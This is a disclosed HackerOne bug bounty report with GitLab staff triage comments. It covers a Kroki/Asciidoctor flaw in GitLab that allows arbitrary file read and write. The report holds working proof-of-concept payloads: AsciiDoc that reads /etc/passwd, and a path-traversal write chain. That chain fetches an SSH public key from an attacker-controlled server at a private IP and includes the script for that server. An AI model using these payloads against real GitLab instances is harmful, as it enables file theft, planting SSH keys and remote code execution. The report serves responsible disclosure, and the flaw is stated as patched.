38

Kroki Arbitrary File Read/Write

Share:

TIMELINE

dz1996 submitted a report to GitLab. Feb 8th (2 ye

Summary

In short, I've found a potentially weird bug in `asciidoctor` that could lead to arbitrary file read/write in `asciidoctor-kroki` even though Gitlab have already made attempt to disable `kroki-plantuml-include`

lib/gitlab/asciidoc.rb

Code 1.12 KiB Wrap lines Copy Dow

```
module Gitlab
  # Parser/renderer for the AsciiDoc format that uses Asciidoctor and filters
  # the resulting HTML through HTML pipeline filters.
  module Asciidoc
    MAX_INCLUDE_DEPTH = 5
    MAX_INCLUDES = 32
    DEFAULT_ADOC_ATTRS = {
        'showtitle' => true,
        'sectanchors' => true,
        'idprefix' => 'user-content-',
        'idseparator' => '-',
        'env' => 'gitlab',
        'env-gitlab' => '',
        'source-highlighter' => 'gitlab-html-pipeline',
        'icons' => 'font',
        'outfilesuffix' => '.adoc',
        'max-include-depth' => MAX_INCLUDE_DEPTH,
        # This feature is disabled because it relies on File#read to read the file.
        # If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
        # This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
        # The value can be a path or a URL.
        'kroki-plantuml-include!' => '',
        # This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
        'kroki-fetch-diagram!' => ''
```

However this could easily be bypassed by using `counter`

https://github.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb

Code 467 Bytes Wrap lines Copy Dow

```
  def counter name, seed = nil
    return @parent_document.counter name, seed if @parent_document
    if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
      @attributes[name] = @counters[name] = Helpers.nextval attr_val
    elsif seed
      @attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
    else
      @attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
    end
  end
```

Steps to reproduce

1. Set up Gitlab with Kroki: https://docs.gitlab.com/ee/administration/integration/kroki.html **Arbitrary FIle Read**
2. Create a project, create a wiki page with `asciidoctor` format and the following as payload

Code 289 Bytes Wrap lines Copy Dow

```
[#goals]

[plantuml, test="{counter:kroki-plantuml-include:/etc/passwd}", format="png"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- {counter:kroki-plantuml-include}
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
```

3. Get the base64 part of the URL of the image when being rendered

```
require 'base64'
require 'zlib'


test = "eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ=="
p Zlib::Inflate.inflate(Base64.urlsafe_decode64(test))
```

Video:

Video F1188648: Screen_Recording_2021-02-09_at_04.27.43.mov 45.76 MiB

Zoom in Zoom out Copy Download

0:00 / 1:15

Arbitrary FIle Write

1. Create a project, create a wiki page with `asciidoctor` format and the following as payload

Code 223 Bytes Wrap lines Copy Dow

```
[#goals]
:imagesdir: .
:outdir: /tmp/

[plantuml]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock

BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
```

2. Note in the URL there is a base64 value, copy this value

3. Set up a server with the address that is being appended as `kroki-server-url,` , I used this scriptto serve a public-key file with any URL.

Code 1.98 KiB Wrap lines Copy Dow

```
/// python3 this_script.py <port>
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write(b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEY+UcYlP8VzOBdyMGUpbVFMsAUxPjWK7OiqARu/t3wO1mSNJ/RE5eaNLz5+6zM2WllUVrYF3cDXqNxge4

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('0.0.0.0', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
```

```
if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()
```

4. Note the URL and edit the following script to create a SHA256 of the URL

Code 301 Bytes Wrap lines Copy Dow

```
require 'digest'
require 'base64'
require 'zlib'

string = "http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSW

p "diag-#{Digest::SHA256.hexdigest test = string}"
```

4. Create a project, create a wiki page with `asciidoctor` format and the following as payload for the first time, replace the `diag-**.` with the `diag-<output_previous>.` , Please take note of the last `.`

Code 447 Bytes Wrap lines Copy Dow

```
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_f
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
 class PlantUmlBlock

 BlockProcessor <|-- hehe
 DiagramBlock <|-- DitaaBlock
 DiagramBlock <|-- PlantUmlBlock
 ....
```

Save then render

5. Repeat the previous step with this payload

Code 442 Bytes Wrap lines Copy Dow

```
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/

[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_f
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
 class PlantUmlBlock

 BlockProcessor <|-- hehe
 DiagramBlock <|-- DitaaBlock
 DiagramBlock <|-- PlantUmlBlock
```

Save then render again

5. You are able to write to any files. You can check this by simply navigate to the file using the Gitlab box

Video:

Video F1188695: Screen_Recording_2021-02-09_at_05.15.11.mov 122.41 MiB

Zoom in Zoom out Copy Download

Results of GitLab environment info

Code 935 Bytes Wrap lines Copy Dow

```
System information
System:     Ubuntu 16.04
Proxy:      no
Current User:   git
Using RVM:  no
Ruby Version:   2.7.2p137
Gem Version:    3.1.4
Bundler Version:2.1.4
Rake Version:   13.0.1
Redis Version:  5.0.9
Git Version:    2.29.0
Sidekiq Version:5.2.9
Go Version: unknown

GitLab information
Version:    13.7.4-ee
Revision:   368b4fb2eee
Directory:  /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.9
URL:        http://gitlab3.example.vm
HTTP Clone URL: http://gitlab3.example.vm/some-group/some-project.git
SSH Clone URL:  git@gitlab3.example.vm:some-group/some-project.git
Elasticsearch:  no
Geo:        yes
Geo node:   Primary
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version:    13.14.0
Repository storage paths:
- default:  /var/opt/gitlab/git-data/repositories
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell
Git:        /opt/gitlab/embedded/bin/git
```

Impact

File read/write access, RCE

2 attachments:
F1188648: Screen_Recording_2021-02-09_at_04.27.43.mov
F1188695: Screen_Recording_2021-02-09_at_05.15.11.mov

OT: gitlab-securitybot posted a comment. Feb 8th (2 ye

Hi @ledz1996,

Thank you for submitting this report! We will investigate the issue as soon as possible, and should get back within a week.

Please do not submit your report or ask about its status through additional channels, as this unnecessarily binds resources in the security team.

Best regards,
GitLab Security Team

1_analyst_caesar HackerOne triage posted a comment. Feb 9th (2 ye

Hi @ledz1996,

Thank you for your submission. I hope you are well. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additi information to share.

Have a great day!

Kind regards,
@turtle_shell

1_analyst_caesar HackerOne triage changed the status to **Needs more info**. Feb 9th (2 ye

Hello @ledz1996 and thanks for your report, I have a couple of questions for you, please bear with me as I am not familiar with the application.

1. Can this bug be used by any role that are not maintainers or owners to read internal file system as you did?
2. Isn't the vulnerability in a third party instance? You mentioned this code here https://github.com/asciidoctor/asciidoctor/blob/master/lib/asciidoctor/document.rb but I don't understand how is GitLab involved in this - can you please g some insight on that?

Thanks a lot for your patience,
@turtle_shell

edz1996 changed the status to ○ New. Updated Feb 9th (2 ye

Hi @turtle_shell, Gitlab allow bug finding from your own instances of gitlab. This is a bug when Kroki Feature is being used in GItlab.
If Kroki is enabled in Gitlab -> this could be exploited by any user in that gitlab instance.

- Asciidoctor is being used as part of gitlab and its always, the same as Kroki, but Kroki has to be enabled as a feature in Gitlab.

It is documented here
https://docs.gitlab.com/ee/administration/integration/kroki.html

> High privilege users (maintainers, owners) using a bug to sabotage/deface their own projects

This is not the case since the bug is relating to system-wide file reading and writing, it is not project-related

So you have to set up an Gitlab Instance, enabling the feature https://docs.gitlab.com/ee/administration/integration/kroki.html.

Login as any user in that instance and exploit the vulnerability.

gitlab_cmaxim GitLab staff added weakness "Improper Access Control - Generic". Feb 9th (2 ye

gitlab_cmaxim GitLab staff changed the status to ○ Triaged. Feb 9th (2 ye

Hello @ledz1996,

Thank you for submitting this report.

We have verified this finding and have escalated to our engineering team. We will be tracking progress internally at https://gitlab.com/gitlab-org/gitlab/-/issues/320919. This issue will be made public 30 days following the release of a patch.I will follow up in the following days with the severity.

We will continue to update you via HackerOne as a patch is scheduled for release.

Best regards,
Costel
GitLab Security Team

gitlab_cmaxim GitLab staff updated the severity to High. Feb 10th (2 ye

edz1996 posted a comment. Feb 10th (2 ye

Also i dont think this is limited to kroki, this could also change the number of includes asciidoc leading to potential DoS by this param `max-include-depth`

gitlab_cmaxim GitLab staff posted a comment. Feb 11th (2 ye

Thanks for the details. I will add it tot the issue.

Costel

itLab rewarded ledz1996 with a **$500** bounty. Feb 11th (2 ye

Hello @ledz1996,

Thank you for submitting this report.

We have verified this finding and have escalated to our engineering team. We will be tracking progress internally at https://gitlab.com/gitlab-org/gitlab/-/issues/320919. This issue will be made public 30 days following the release of a patch.

Given the severity of the report, we are paying an initial $500 on triage. Congratulations!

We will continue to update you via HackerOne as a patch is scheduled for release.

Best regards,
Costel
GitLab Security Team

edz1996 posted a comment. Feb 11th (2 ye

Hi @gitlab_cmaxim, thank you, sorry if its sensitive, but nomarlly, its 1k$ per high/crit triage, may i ask why this is lower :D, i'm not demanding but just curioslly ask

gitlab_cmaxim GitLab staff posted a comment. Feb 18th (2 ye

Hey @ledz1996,

Apologise for the delayed response. Just a small update on this report: We have contacted asciidoctor about this issue and they are working on patch for this. You find more details here: https://github.com/asciidoctor/asciidoctor/issues/3939.

Regards,
Costel

BOT: gitlab-securitybot posted a comment. Feb 22nd (2 ye

The issue you reported is currently scheduled to be fixed by 2021-03-31.

Thank you again for contacting us!

Best regards,
GitLab Security Team

itLab rewarded ledz1996 with a **$2,300** bounty. Apr 1st (2 ye

Hello @ledz1996,

Thank you again for the report! Your finding has been patched in GitLab version 13.10.1. Congratulations!

Please let us know if you find that our patch does not mitigate your finding. Your report will be published in 30 days in GitLab's issue tracker.

We look forward to your next report!

Best regards,
Costel
GitLab Security Team

gitlab_cmaxim GitLab staff closed the report and changed the status to ○ **Resolved**. Apr 1st (2 ye

Patched in GitLab version 13.10.1.

Costel

itLab rewarded ledz1996 with a **$2,800** bounty. May 11th (2 ye

Hi @ledz1996,

We are rolling back our policy of awarding 50% bounty for vulnerabilities found in third-party dependencies (a policy update will follow soon) and are retroactively awarding the rest of the bounty for this report.

Best regards,
Dominic
GitLab Security Team

dcouture GitLab staff requested to disclose this report. May 21st (2 ye

edz1996 posted a comment. May 21st (2 ye

Hi @dcouture, been out of context for awhile ;), let disclose this, thank you for the notification.

edz1996 posted a comment. May 21st (2 ye

Also, thanks for the bounty ~

ledz1996 agreed to disclose this report. May 21st (2 ye